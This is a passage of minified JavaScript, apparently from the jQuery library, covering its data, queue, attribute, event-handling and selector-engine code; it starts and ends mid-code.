omputedStyle(r,null)||{width:"4px"}).width==="4px",o=i.createElement("div"),o.style.cssText=r.style.cssText=u,o.style.marginRight=o.style.width="0",r.style.width="1px",r.appendChild(o),t.reliableMarginRight=!parseFloat((e.getComputedStyle(o,null)||{}).marginRight)),typeof r.style.zoom!="undefined"&&(r.innerHTML="",r.style.cssText=u+"width:1px;padding:1px;display:inline;zoom:1",t.inlineBlockNeedsLayout=r.offsetWidth===3,r.style.display="block",r.style.overflow="visible",r.innerHTML="<div></div>",r.firstChild.style.width="5px",t.shrinkWrapBlocks=r.offsetWidth!==3,n.style.zoom=1),a.removeChild(n),n=r=s=o=null}),a.removeChild(p),n=r=s=o=u=a=p=null,t}();var D=/(?:\{[\s\S]*\}|\[[\s\S]*\])$/,P=/([A-Z])/g;v.extend({cache:{},deletedIds:[],uuid:0,expando:"jQuery"+(v.fn.jquery+Math.random()).replace(/\D/g,""),noData:{embed:!0,object:"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000",applet:!0},hasData:function(e){return e=e.nodeType?v.cache[e[v.expando]]:e[v.expando],!!e&&!B(e)},data:function(e,n,r,i){if(!v.acceptData(e))return;var s,o,u=v.expando,a=typeof n=="string",f=e.nodeType,l=f?v.cache:e,c=f?e[u]:e[u]&&u;if((!c||!l[c]||!i&&!l[c].data)&&a&&r===t)return;c||(f?e[u]=c=v.deletedIds.pop()||v.guid++:c=u),l[c]||(l[c]={},f||(l[c].toJSON=v.noop));if(typeof n=="object"||typeof n=="function")i?l[c]=v.extend(l[c],n):l[c].data=v.extend(l[c].data,n);return s=l[c],i||(s.data||(s.data={}),s=s.data),r!==t&&(s[v.camelCase(n)]=r),a?(o=s[n],o==null&&(o=s[v.camelCase(n)])):o=s,o},removeData:function(e,t,n){if(!v.acceptData(e))return;var r,i,s,o=e.nodeType,u=o?v.cache:e,a=o?e[v.expando]:v.expando;if(!u[a])return;if(t){r=n?u[a]:u[a].data;if(r){v.isArray(t)||(t in r?t=[t]:(t=v.camelCase(t),t in r?t=[t]:t=t.split(" ")));for(i=0,s=t.length;i<s;i++)delete r[t[i]];if(!(n?B:v.isEmptyObject)(r))return}}if(!n){delete u[a].data;if(!B(u[a]))return}o?v.cleanData([e],!0):v.support.deleteExpando||u!=u.window?delete u[a]:u[a]=null},_data:function(e,t,n){return v.data(e,t,n,!0)},acceptData:function(e){var t=e.nodeName&&v.noData[e.nodeName.toLowerCase()];return!t||t!==!0&&e.getAttribute("classid")===t}}),v.fn.extend({data:function(e,n){var r,i,s,o,u,a=this[0],f=0,l=null;if(e===t){if(this.length){l=v.data(a);if(a.nodeType===1&&!v._data(a,"parsedAttrs")){s=a.attributes;for(u=s.length;f<u;f++)o=s[f].name,o.indexOf("data-")||(o=v.camelCase(o.substring(5)),H(a,o,l[o]));v._data(a,"parsedAttrs",!0)}}return l}return typeof e=="object"?this.each(function(){v.data(this,e)}):(r=e.split(".",2),r[1]=r[1]?"."+r[1]:"",i=r[1]+"!",v.access(this,function(n){if(n===t)return l=this.triggerHandler("getData"+i,[r[0]]),l===t&&a&&(l=v.data(a,e),l=H(a,e,l)),l===t&&r[1]?this.data(r[0]):l;r[1]=n,this.each(function(){var t=v(this);t.triggerHandler("setData"+i,r),v.data(this,e,n),t.triggerHandler("changeData"+i,r)})},null,n,arguments.length>1,null,!1))},removeData:function(e){return this.each(function(){v.removeData(this,e)})}}),v.extend({queue:function(e,t,n){var r;if(e)return t=(t||"fx")+"queue",r=v._data(e,t),n&&(!r||v.isArray(n)?r=v._data(e,t,v.makeArray(n)):r.push(n)),r||[]},dequeue:function(e,t){t=t||"fx";var n=v.queue(e,t),r=n.length,i=n.shift(),s=v._queueHooks(e,t),o=function(){v.dequeue(e,t)};i==="inprogress"&&(i=n.shift(),r--),i&&(t==="fx"&&n.unshift("inprogress"),delete s.stop,i.call(e,o,s)),!r&&s&&s.empty.fire()},_queueHooks:function(e,t){var n=t+"queueHooks";return v._data(e,n)||v._data(e,n,{empty:v.Callbacks("once memory").add(function(){v.removeData(e,t+"queue",!0),v.removeData(e,n,!0)})})}}),v.fn.extend({queue:function(e,n){var r=2;return typeof e!="string"&&(n=e,e="fx",r--),arguments.length<r?v.queue(this[0],e):n===t?this:this.each(function(){var t=v.queue(this,e,n);v._queueHooks(this,e),e==="fx"&&t[0]!=="inprogress"&&v.dequeue(this,e)})},dequeue:function(e){return this.each(function(){v.dequeue(this,e)})},delay:function(e,t){return e=v.fx?v.fx.speeds[e]||e:e,t=t||"fx",this.queue(t,function(t,n){var r=setTimeout(t,e);n.stop=function(){clearTimeout(r)}})},clearQueue:function(e){return this.queue(e||"fx",[])},promise:function(e,n){var r,i=1,s=v.Deferred(),o=this,u=this.length,a=function(){--i||s.resolveWith(o,[o])};typeof e!="string"&&(n=e,e=t),e=e||"fx";while(u--)r=v._data(o[u],e+"queueHooks"),r&&r.empty&&(i++,r.empty.add(a));return a(),s.promise(n)}});var j,F,I,q=/[\t\r\n]/g,R=/\r/g,U=/^(?:button|input)$/i,z=/^(?:button|input|object|select|textarea)$/i,W=/^a(?:rea|)$/i,X=/^(?:autofocus|autoplay|async|checked|controls|defer|disabled|hidden|loop|multiple|open|readonly|required|scoped|selected)$/i,V=v.support.getSetAttribute;v.fn.extend({attr:function(e,t){return v.access(this,v.attr,e,t,arguments.length>1)},removeAttr:function(e){return this.each(function(){v.removeAttr(this,e)})},prop:function(e,t){return v.access(this,v.prop,e,t,arguments.length>1)},removeProp:function(e){return e=v.propFix[e]||e,this.each(function(){try{this[e]=t,delete this[e]}catch(n){}})},addClass:function(e){var t,n,r,i,s,o,u;if(v.isFunction(e))return this.each(function(t){v(this).addClass(e.call(this,t,this.className))});if(e&&typeof e=="string"){t=e.split(y);for(n=0,r=this.length;n<r;n++){i=this[n];if(i.nodeType===1)if(!i.className&&t.length===1)i.className=e;else{s=" "+i.className+" ";for(o=0,u=t.length;o<u;o++)s.indexOf(" "+t[o]+" ")<0&&(s+=t[o]+" ");i.className=v.trim(s)}}}return this},removeClass:function(e){var n,r,i,s,o,u,a;if(v.isFunction(e))return this.each(function(t){v(this).removeClass(e.call(this,t,this.className))});if(e&&typeof e=="string"||e===t){n=(e||"").split(y);for(u=0,a=this.length;u<a;u++){i=this[u];if(i.nodeType===1&&i.className){r=(" "+i.className+" ").replace(q," ");for(s=0,o=n.length;s<o;s++)while(r.indexOf(" "+n[s]+" ")>=0)r=r.replace(" "+n[s]+" "," ");i.className=e?v.trim(r):""}}}return this},toggleClass:function(e,t){var n=typeof e,r=typeof t=="boolean";return v.isFunction(e)?this.each(function(n){v(this).toggleClass(e.call(this,n,this.className,t),t)}):this.each(function(){if(n==="string"){var i,s=0,o=v(this),u=t,a=e.split(y);while(i=a[s++])u=r?u:!o.hasClass(i),o[u?"addClass":"removeClass"](i)}else if(n==="undefined"||n==="boolean")this.className&&v._data(this,"__className__",this.className),this.className=this.className||e===!1?"":v._data(this,"__className__")||""})},hasClass:function(e){var t=" "+e+" ",n=0,r=this.length;for(;n<r;n++)if(this[n].nodeType===1&&(" "+this[n].className+" ").replace(q," ").indexOf(t)>=0)return!0;return!1},val:function(e){var n,r,i,s=this[0];if(!arguments.length){if(s)return n=v.valHooks[s.type]||v.valHooks[s.nodeName.toLowerCase()],n&&"get"in n&&(r=n.get(s,"value"))!==t?r:(r=s.value,typeof r=="string"?r.replace(R,""):r==null?"":r);return}return i=v.isFunction(e),this.each(function(r){var s,o=v(this);if(this.nodeType!==1)return;i?s=e.call(this,r,o.val()):s=e,s==null?s="":typeof s=="number"?s+="":v.isArray(s)&&(s=v.map(s,function(e){return e==null?"":e+""})),n=v.valHooks[this.type]||v.valHooks[this.nodeName.toLowerCase()];if(!n||!("set"in n)||n.set(this,s,"value")===t)this.value=s})}}),v.extend({valHooks:{option:{get:function(e){var t=e.attributes.value;return!t||t.specified?e.value:e.text}},select:{get:function(e){var t,n,r=e.options,i=e.selectedIndex,s=e.type==="select-one"||i<0,o=s?null:[],u=s?i+1:r.length,a=i<0?u:s?i:0;for(;a<u;a++){n=r[a];if((n.selected||a===i)&&(v.support.optDisabled?!n.disabled:n.getAttribute("disabled")===null)&&(!n.parentNode.disabled||!v.nodeName(n.parentNode,"optgroup"))){t=v(n).val();if(s)return t;o.push(t)}}return o},set:function(e,t){var n=v.makeArray(t);return v(e).find("option").each(function(){this.selected=v.inArray(v(this).val(),n)>=0}),n.length||(e.selectedIndex=-1),n}}},attrFn:{},attr:function(e,n,r,i){var s,o,u,a=e.nodeType;if(!e||a===3||a===8||a===2)return;if(i&&v.isFunction(v.fn[n]))return v(e)[n](r);if(typeof e.getAttribute=="undefined")return v.prop(e,n,r);u=a!==1||!v.isXMLDoc(e),u&&(n=n.toLowerCase(),o=v.attrHooks[n]||(X.test(n)?F:j));if(r!==t){if(r===null){v.removeAttr(e,n);return}return o&&"set"in o&&u&&(s=o.set(e,r,n))!==t?s:(e.setAttribute(n,r+""),r)}return o&&"get"in o&&u&&(s=o.get(e,n))!==null?s:(s=e.getAttribute(n),s===null?t:s)},removeAttr:function(e,t){var n,r,i,s,o=0;if(t&&e.nodeType===1){r=t.split(y);for(;o<r.length;o++)i=r[o],i&&(n=v.propFix[i]||i,s=X.test(i),s||v.attr(e,i,""),e.removeAttribute(V?i:n),s&&n in e&&(e[n]=!1))}},attrHooks:{type:{set:function(e,t){if(U.test(e.nodeName)&&e.parentNode)v.error("type property can't be changed");else if(!v.support.radioValue&&t==="radio"&&v.nodeName(e,"input")){var n=e.value;return e.setAttribute("type",t),n&&(e.value=n),t}}},value:{get:function(e,t){return j&&v.nodeName(e,"button")?j.get(e,t):t in e?e.value:null},set:function(e,t,n){if(j&&v.nodeName(e,"button"))return j.set(e,t,n);e.value=t}}},propFix:{tabindex:"tabIndex",readonly:"readOnly","for":"htmlFor","class":"className",maxlength:"maxLength",cellspacing:"cellSpacing",cellpadding:"cellPadding",rowspan:"rowSpan",colspan:"colSpan",usemap:"useMap",frameborder:"frameBorder",contenteditable:"contentEditable"},prop:function(e,n,r){var i,s,o,u=e.nodeType;if(!e||u===3||u===8||u===2)return;return o=u!==1||!v.isXMLDoc(e),o&&(n=v.propFix[n]||n,s=v.propHooks[n]),r!==t?s&&"set"in s&&(i=s.set(e,r,n))!==t?i:e[n]=r:s&&"get"in s&&(i=s.get(e,n))!==null?i:e[n]},propHooks:{tabIndex:{get:function(e){var n=e.getAttributeNode("tabindex");return n&&n.specified?parseInt(n.value,10):z.test(e.nodeName)||W.test(e.nodeName)&&e.href?0:t}}}}),F={get:function(e,n){var r,i=v.prop(e,n);return i===!0||typeof i!="boolean"&&(r=e.getAttributeNode(n))&&r.nodeValue!==!1?n.toLowerCase():t},set:function(e,t,n){var r;return t===!1?v.removeAttr(e,n):(r=v.propFix[n]||n,r in e&&(e[r]=!0),e.setAttribute(n,n.toLowerCase())),n}},V||(I={name:!0,id:!0,coords:!0},j=v.valHooks.button={get:function(e,n){var r;return r=e.getAttributeNode(n),r&&(I[n]?r.value!=="":r.specified)?r.value:t},set:function(e,t,n){var r=e.getAttributeNode(n);return r||(r=i.createAttribute(n),e.setAttributeNode(r)),r.value=t+""}},v.each(["width","height"],function(e,t){v.attrHooks[t]=v.extend(v.attrHooks[t],{set:function(e,n){if(n==="")return e.setAttribute(t,"auto"),n}})}),v.attrHooks.contenteditable={get:j.get,set:function(e,t,n){t===""&&(t="false"),j.set(e,t,n)}}),v.support.hrefNormalized||v.each(["href","src","width","height"],function(e,n){v.attrHooks[n]=v.extend(v.attrHooks[n],{get:function(e){var r=e.getAttribute(n,2);return r===null?t:r}})}),v.support.style||(v.attrHooks.style={get:function(e){return e.style.cssText.toLowerCase()||t},set:function(e,t){return e.style.cssText=t+""}}),v.support.optSelected||(v.propHooks.selected=v.extend(v.propHooks.selected,{get:function(e){var t=e.parentNode;return t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex),null}})),v.support.enctype||(v.propFix.enctype="encoding"),v.support.checkOn||v.each(["radio","checkbox"],function(){v.valHooks[this]={get:function(e){return e.getAttribute("value")===null?"on":e.value}}}),v.each(["radio","checkbox"],function(){v.valHooks[this]=v.extend(v.valHooks[this],{set:function(e,t){if(v.isArray(t))return e.checked=v.inArray(v(e).val(),t)>=0}})});var $=/^(?:textarea|input|select)$/i,J=/^([^\.]*|)(?:\.(.+)|)$/,K=/(?:^|\s)hover(\.\S+|)\b/,Q=/^key/,G=/^(?:mouse|contextmenu)|click/,Y=/^(?:focusinfocus|focusoutblur)$/,Z=function(e){return v.event.special.hover?e:e.replace(K,"mouseenter$1 mouseleave$1")};v.event={add:function(e,n,r,i,s){var o,u,a,f,l,c,h,p,d,m,g;if(e.nodeType===3||e.nodeType===8||!n||!r||!(o=v._data(e)))return;r.handler&&(d=r,r=d.handler,s=d.selector),r.guid||(r.guid=v.guid++),a=o.events,a||(o.events=a={}),u=o.handle,u||(o.handle=u=function(e){return typeof v=="undefined"||!!e&&v.event.triggered===e.type?t:v.event.dispatch.apply(u.elem,arguments)},u.elem=e),n=v.trim(Z(n)).split(" ");for(f=0;f<n.length;f++){l=J.exec(n[f])||[],c=l[1],h=(l[2]||"").split(".").sort(),g=v.event.special[c]||{},c=(s?g.delegateType:g.bindType)||c,g=v.event.special[c]||{},p=v.extend({type:c,origType:l[1],data:i,handler:r,guid:r.guid,selector:s,needsContext:s&&v.expr.match.needsContext.test(s),namespace:h.join(".")},d),m=a[c];if(!m){m=a[c]=[],m.delegateCount=0;if(!g.setup||g.setup.call(e,i,h,u)===!1)e.addEventListener?e.addEventListener(c,u,!1):e.attachEvent&&e.attachEvent("on"+c,u)}g.add&&(g.add.call(e,p),p.handler.guid||(p.handler.guid=r.guid)),s?m.splice(m.delegateCount++,0,p):m.push(p),v.event.global[c]=!0}e=null},global:{},remove:function(e,t,n,r,i){var s,o,u,a,f,l,c,h,p,d,m,g=v.hasData(e)&&v._data(e);if(!g||!(h=g.events))return;t=v.trim(Z(t||"")).split(" ");for(s=0;s<t.length;s++){o=J.exec(t[s])||[],u=a=o[1],f=o[2];if(!u){for(u in h)v.event.remove(e,u+t[s],n,r,!0);continue}p=v.event.special[u]||{},u=(r?p.delegateType:p.bindType)||u,d=h[u]||[],l=d.length,f=f?new RegExp("(^|\\.)"+f.split(".").sort().join("\\.(?:.*\\.|)")+"(\\.|$)"):null;for(c=0;c<d.length;c++)m=d[c],(i||a===m.origType)&&(!n||n.guid===m.guid)&&(!f||f.test(m.namespace))&&(!r||r===m.selector||r==="**"&&m.selector)&&(d.splice(c--,1),m.selector&&d.delegateCount--,p.remove&&p.remove.call(e,m));d.length===0&&l!==d.length&&((!p.teardown||p.teardown.call(e,f,g.handle)===!1)&&v.removeEvent(e,u,g.handle),delete h[u])}v.isEmptyObject(h)&&(delete g.handle,v.removeData(e,"events",!0))},customEvent:{getData:!0,setData:!0,changeData:!0},trigger:function(n,r,s,o){if(!s||s.nodeType!==3&&s.nodeType!==8){var u,a,f,l,c,h,p,d,m,g,y=n.type||n,b=[];if(Y.test(y+v.event.triggered))return;y.indexOf("!")>=0&&(y=y.slice(0,-1),a=!0),y.indexOf(".")>=0&&(b=y.split("."),y=b.shift(),b.sort());if((!s||v.event.customEvent[y])&&!v.event.global[y])return;n=typeof n=="object"?n[v.expando]?n:new v.Event(y,n):new v.Event(y),n.type=y,n.isTrigger=!0,n.exclusive=a,n.namespace=b.join("."),n.namespace_re=n.namespace?new RegExp("(^|\\.)"+b.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,h=y.indexOf(":")<0?"on"+y:"";if(!s){u=v.cache;for(f in u)u[f].events&&u[f].events[y]&&v.event.trigger(n,r,u[f].handle.elem,!0);return}n.result=t,n.target||(n.target=s),r=r!=null?v.makeArray(r):[],r.unshift(n),p=v.event.special[y]||{};if(p.trigger&&p.trigger.apply(s,r)===!1)return;m=[[s,p.bindType||y]];if(!o&&!p.noBubble&&!v.isWindow(s)){g=p.delegateType||y,l=Y.test(g+y)?s:s.parentNode;for(c=s;l;l=l.parentNode)m.push([l,g]),c=l;c===(s.ownerDocument||i)&&m.push([c.defaultView||c.parentWindow||e,g])}for(f=0;f<m.length&&!n.isPropagationStopped();f++)l=m[f][0],n.type=m[f][1],d=(v._data(l,"events")||{})[n.type]&&v._data(l,"handle"),d&&d.apply(l,r),d=h&&l[h],d&&v.acceptData(l)&&d.apply&&d.apply(l,r)===!1&&n.preventDefault();return n.type=y,!o&&!n.isDefaultPrevented()&&(!p._default||p._default.apply(s.ownerDocument,r)===!1)&&(y!=="click"||!v.nodeName(s,"a"))&&v.acceptData(s)&&h&&s[y]&&(y!=="focus"&&y!=="blur"||n.target.offsetWidth!==0)&&!v.isWindow(s)&&(c=s[h],c&&(s[h]=null),v.event.triggered=y,s[y](),v.event.triggered=t,c&&(s[h]=c)),n.result}return},dispatch:function(n){n=v.event.fix(n||e.event);var r,i,s,o,u,a,f,c,h,p,d=(v._data(this,"events")||{})[n.type]||[],m=d.delegateCount,g=l.call(arguments),y=!n.exclusive&&!n.namespace,b=v.event.special[n.type]||{},w=[];g[0]=n,n.delegateTarget=this;if(b.preDispatch&&b.preDispatch.call(this,n)===!1)return;if(m&&(!n.button||n.type!=="click"))for(s=n.target;s!=this;s=s.parentNode||this)if(s.disabled!==!0||n.type!=="click"){u={},f=[];for(r=0;r<m;r++)c=d[r],h=c.selector,u[h]===t&&(u[h]=c.needsContext?v(h,this).index(s)>=0:v.find(h,this,null,[s]).length),u[h]&&f.push(c);f.length&&w.push({elem:s,matches:f})}d.length>m&&w.push({elem:this,matches:d.slice(m)});for(r=0;r<w.length&&!n.isPropagationStopped();r++){a=w[r],n.currentTarget=a.elem;for(i=0;i<a.matches.length&&!n.isImmediatePropagationStopped();i++){c=a.matches[i];if(y||!n.namespace&&!c.namespace||n.namespace_re&&n.namespace_re.test(c.namespace))n.data=c.data,n.handleObj=c,o=((v.event.special[c.origType]||{}).handle||c.handler).apply(a.elem,g),o!==t&&(n.result=o,o===!1&&(n.preventDefault(),n.stopPropagation()))}}return b.postDispatch&&b.postDispatch.call(this,n),n.result},props:"attrChange attrName relatedNode srcElement altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which".split(" "),fixHooks:{},keyHooks:{props:"char charCode key keyCode".split(" "),filter:function(e,t){return e.which==null&&(e.which=t.charCode!=null?t.charCode:t.keyCode),e}},mouseHooks:{props:"button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement".split(" "),filter:function(e,n){var r,s,o,u=n.button,a=n.fromElement;return e.pageX==null&&n.clientX!=null&&(r=e.target.ownerDocument||i,s=r.documentElement,o=r.body,e.pageX=n.clientX+(s&&s.scrollLeft||o&&o.scrollLeft||0)-(s&&s.clientLeft||o&&o.clientLeft||0),e.pageY=n.clientY+(s&&s.scrollTop||o&&o.scrollTop||0)-(s&&s.clientTop||o&&o.clientTop||0)),!e.relatedTarget&&a&&(e.relatedTarget=a===e.target?n.toElement:a),!e.which&&u!==t&&(e.which=u&1?1:u&2?3:u&4?2:0),e}},fix:function(e){if(e[v.expando])return e;var t,n,r=e,s=v.event.fixHooks[e.type]||{},o=s.props?this.props.concat(s.props):this.props;e=v.Event(r);for(t=o.length;t;)n=o[--t],e[n]=r[n];return e.target||(e.target=r.srcElement||i),e.target.nodeType===3&&(e.target=e.target.parentNode),e.metaKey=!!e.metaKey,s.filter?s.filter(e,r):e},special:{load:{noBubble:!0},focus:{delegateType:"focusin"},blur:{delegateType:"focusout"},beforeunload:{setup:function(e,t,n){v.isWindow(this)&&(this.onbeforeunload=n)},teardown:function(e,t){this.onbeforeunload===t&&(this.onbeforeunload=null)}}},simulate:function(e,t,n,r){var i=v.extend(new v.Event,n,{type:e,isSimulated:!0,originalEvent:{}});r?v.event.trigger(i,null,t):v.event.dispatch.call(t,i),i.isDefaultPrevented()&&n.preventDefault()}},v.event.handle=v.event.dispatch,v.removeEvent=i.removeEventListener?function(e,t,n){e.removeEventListener&&e.removeEventListener(t,n,!1)}:function(e,t,n){var r="on"+t;e.detachEvent&&(typeof e[r]=="undefined"&&(e[r]=null),e.detachEvent(r,n))},v.Event=function(e,t){if(!(this instanceof v.Event))return new v.Event(e,t);e&&e.type?(this.originalEvent=e,this.type=e.type,this.isDefaultPrevented=e.defaultPrevented||e.returnValue===!1||e.getPreventDefault&&e.getPreventDefault()?tt:et):this.type=e,t&&v.extend(this,t),this.timeStamp=e&&e.timeStamp||v.now(),this[v.expando]=!0},v.Event.prototype={preventDefault:function(){this.isDefaultPrevented=tt;var e=this.originalEvent;if(!e)return;e.preventDefault?e.preventDefault():e.returnValue=!1},stopPropagation:function(){this.isPropagationStopped=tt;var e=this.originalEvent;if(!e)return;e.stopPropagation&&e.stopPropagation(),e.cancelBubble=!0},stopImmediatePropagation:function(){this.isImmediatePropagationStopped=tt,this.stopPropagation()},isDefaultPrevented:et,isPropagationStopped:et,isImmediatePropagationStopped:et},v.each({mouseenter:"mouseover",mouseleave:"mouseout"},function(e,t){v.event.special[e]={delegateType:t,bindType:t,handle:function(e){var n,r=this,i=e.relatedTarget,s=e.handleObj,o=s.selector;if(!i||i!==r&&!v.contains(r,i))e.type=s.origType,n=s.handler.apply(this,arguments),e.type=t;return n}}}),v.support.submitBubbles||(v.event.special.submit={setup:function(){if(v.nodeName(this,"form"))return!1;v.event.add(this,"click._submit keypress._submit",function(e){var n=e.target,r=v.nodeName(n,"input")||v.nodeName(n,"button")?n.form:t;r&&!v._data(r,"_submit_attached")&&(v.event.add(r,"submit._submit",function(e){e._submit_bubble=!0}),v._data(r,"_submit_attached",!0))})},postDispatch:function(e){e._submit_bubble&&(delete e._submit_bubble,this.parentNode&&!e.isTrigger&&v.event.simulate("submit",this.parentNode,e,!0))},teardown:function(){if(v.nodeName(this,"form"))return!1;v.event.remove(this,"._submit")}}),v.support.changeBubbles||(v.event.special.change={setup:function(){if($.test(this.nodeName)){if(this.type==="checkbox"||this.type==="radio")v.event.add(this,"propertychange._change",function(e){e.originalEvent.propertyName==="checked"&&(this._just_changed=!0)}),v.event.add(this,"click._change",function(e){this._just_changed&&!e.isTrigger&&(this._just_changed=!1),v.event.simulate("change",this,e,!0)});return!1}v.event.add(this,"beforeactivate._change",function(e){var t=e.target;$.test(t.nodeName)&&!v._data(t,"_change_attached")&&(v.event.add(t,"change._change",function(e){this.parentNode&&!e.isSimulated&&!e.isTrigger&&v.event.simulate("change",this.parentNode,e,!0)}),v._data(t,"_change_attached",!0))})},handle:function(e){var t=e.target;if(this!==t||e.isSimulated||e.isTrigger||t.type!=="radio"&&t.type!=="checkbox")return e.handleObj.handler.apply(this,arguments)},teardown:function(){return v.event.remove(this,"._change"),!$.test(this.nodeName)}}),v.support.focusinBubbles||v.each({focus:"focusin",blur:"focusout"},function(e,t){var n=0,r=function(e){v.event.simulate(t,e.target,v.event.fix(e),!0)};v.event.special[t]={setup:function(){n++===0&&i.addEventListener(e,r,!0)},teardown:function(){--n===0&&i.removeEventListener(e,r,!0)}}}),v.fn.extend({on:function(e,n,r,i,s){var o,u;if(typeof e=="object"){typeof n!="string"&&(r=r||n,n=t);for(u in e)this.on(u,n,r,e[u],s);return this}r==null&&i==null?(i=n,r=n=t):i==null&&(typeof n=="string"?(i=r,r=t):(i=r,r=n,n=t));if(i===!1)i=et;else if(!i)return this;return s===1&&(o=i,i=function(e){return v().off(e),o.apply(this,arguments)},i.guid=o.guid||(o.guid=v.guid++)),this.each(function(){v.event.add(this,e,i,r,n)})},one:function(e,t,n,r){return this.on(e,t,n,r,1)},off:function(e,n,r){var i,s;if(e&&e.preventDefault&&e.handleObj)return i=e.handleObj,v(e.delegateTarget).off(i.namespace?i.origType+"."+i.namespace:i.origType,i.selector,i.handler),this;if(typeof e=="object"){for(s in e)this.off(s,n,e[s]);return this}if(n===!1||typeof n=="function")r=n,n=t;return r===!1&&(r=et),this.each(function(){v.event.remove(this,e,r,n)})},bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},live:function(e,t,n){return v(this.context).on(e,this.selector,t,n),this},die:function(e,t){return v(this.context).off(e,this.selector||"**",t),this},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return arguments.length===1?this.off(e,"**"):this.off(t,e||"**",n)},trigger:function(e,t){return this.each(function(){v.event.trigger(e,t,this)})},triggerHandler:function(e,t){if(this[0])return v.event.trigger(e,t,this[0],!0)},toggle:function(e){var t=arguments,n=e.guid||v.guid++,r=0,i=function(n){var i=(v._data(this,"lastToggle"+e.guid)||0)%r;return v._data(this,"lastToggle"+e.guid,i+1),n.preventDefault(),t[i].apply(this,arguments)||!1};i.guid=n;while(r<t.length)t[r++].guid=n;return this.click(i)},hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),v.each("blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error contextmenu".split(" "),function(e,t){v.fn[t]=function(e,n){return n==null&&(n=e,e=null),arguments.length>0?this.on(t,null,e,n):this.trigger(t)},Q.test(t)&&(v.event.fixHooks[t]=v.event.keyHooks),G.test(t)&&(v.event.fixHooks[t]=v.event.mouseHooks)}),function(e,t){function nt(e,t,n,r){n=n||[],t=t||g;var i,s,a,f,l=t.nodeType;if(!e||typeof e!="string")return n;if(l!==1&&l!==9)return[];a=o(t);if(!a&&!r)if(i=R.exec(e))if(f=i[1]){if(l===9){s=t.getElementById(f);if(!s||!s.parentNode)return n;if(s.id===f)return n.push(s),n}else if(t.ownerDocument&&(s=t.ownerDocument.getElementById(f))&&u(t,s)&&s.id===f)return n.push(s),n}else{if(i[2])return S.apply(n,x.call(t.getElementsByTagName(e),0)),n;if((f=i[3])&&Z&&t.getElementsByClassName)return S.apply(n,x.call(t.getElementsByClassName(f),0)),n}return vt(e.replace(j,"$1"),t,n,r,a)}function rt(e){return function(t){var n=t.nodeName.toLowerCase();return n==="input"&&t.type===e}}function it(e){return function(t){var n=t.nodeName.toLowerCase();return(n==="input"||n==="button")&&t.type===e}}function st(e){return N(function(t){return t=+t,N(function(n,r){var i,s=e([],n.length,t),o=s.length;while(o--)n[i=s[o]]&&(n[i]=!(r[i]=n[i]))})})}function ot(e,t,n){if(e===t)return n;var r=e.nextSibling;while(r){if(r===t)return-1;r=r.nextSibling}return 1}function ut(e,t){var n,r,s,o,u,a,f,l=L[d][e+" "];if(l)return t?0:l.slice(0);u=e,a=[],f=i.preFilter;while(u){if(!n||(r=F.exec(u)))r&&(u=u.slice(r[0].length)||u),a.push(s=[]);n=!1;if(r=I.exec(u))s.push(n=new m(r.shift())),u=u.slice(n.length),n.type=r[0].replace(j," ");for(o in i.filter)(r=J[o].exec(u))&&(!f[o]||(r=f[o](r)))&&(s.push(n=new m(r.shift())),u=u.slice(n.length),n.type=o,n.matches=r);if(!n)break}return t?u.length:u?nt.error(e):L(e,a).slice(0)}function at(e,t,r){var i=t.dir,s=r&&t.dir==="parentNode",o=w++;return t.first?function(t,n,r){while(t=t[i])if(s||t.nodeType===1)return e(t,n,r)}:function(t,r,u){if(!u){var a,f=b+" "+o+" ",l=f+n;while(t=t[i])if(s||t.nodeType===1){if((a=t[d])===l)return t.sizset;if(typeof a=="string"&&a.indexOf(f)===0){if(t.sizset)return t}else{t[d]=l;if(e(t,r,u))return t.sizset=!0,t;t.sizset=!1}}}else while(t=t[i])if(s||t.nodeType===1)if(e(t,r,u))return t}}function ft(e){return e.length>1?function(t,n,r){var i=e.length;while(i--)if(!e[i](t,n,r))return!1;return!0}:e[0]}function lt(e,t,n,r,i){var s,o=[],u=0,a=e.length,f=t!=null;for(;u<a;u++)if(s=e[u])if(!n||n(s,r,i))o.push(s),f&&t.push(u);return o}function ct(e,t,n,r,i,s){return r&&!r[d]&&(r=ct(r)),i&&!i[d]&&(i=ct(i,s)),N(function(s,o,u,a){var f,l,c,h=[],p=[],d=o.length,v=s||dt(t||"*",u.nodeType?[u]:u,[]),m=e&&(s||!t)?lt(v,h,e,u,a):v,g=n?i||(s?e:d||r)?[]:o:m;n&&n(m,g,u,a);if(r){f=lt(g,p),r(f,[],u,a),l=f.length;while(l--)if(c=f[l])g[p[l]]=!(m[p[l]]=c)}if(s){if(i||e){if(i){f=[],l=g.length;while(l--)(c=g[l])&&f.push(m[l]=c);i(null,g=[],f,a)}l=g.length;while(l--)(c=g[l])&&(f=i?T.call(s,c):h[l])>-1&&(s[f]=!(o[f]=c))}}else g=lt(g===o?g.splice(d,g.length):g),i?i(null,o,g,a):S.apply(o,g)})}function ht(e){var t,n,r,s=e.length,o=i.relative[e[0].type],u=o||i.relative[" "],a=o?1:0,f=at(function(e){return e===t},u,!0),l=at(function(e){return T.call(t,e)>-1},u,!0),h=[function(e,n,r){return!o&&(r||n!==c)||((t=n).nodeType?f(e,n,r):l(e,n,r))}];for(;a<s;a++)if(n=i.relative[e[a].type])h=[at(ft(h),n)];else{n=i.filter[e[a].type].apply(null,e[a].matches);if(n[d]){r=++a;for(;r<s;r++)if(i.relative[e[r].type])break;return ct(a>1&&ft(h),a>1&&e.slice(0,a-1).join("").replace(j,"$1"),n,a<r&&ht(e.slice(a,r)),r<s&&ht(e=e.slice(r)),r<s&&e.join(""))}h.push(n)}return ft(h)}function pt(e,t){var r=t.length>0,s=e.length>0,o=function(u,a,f,l,h){var 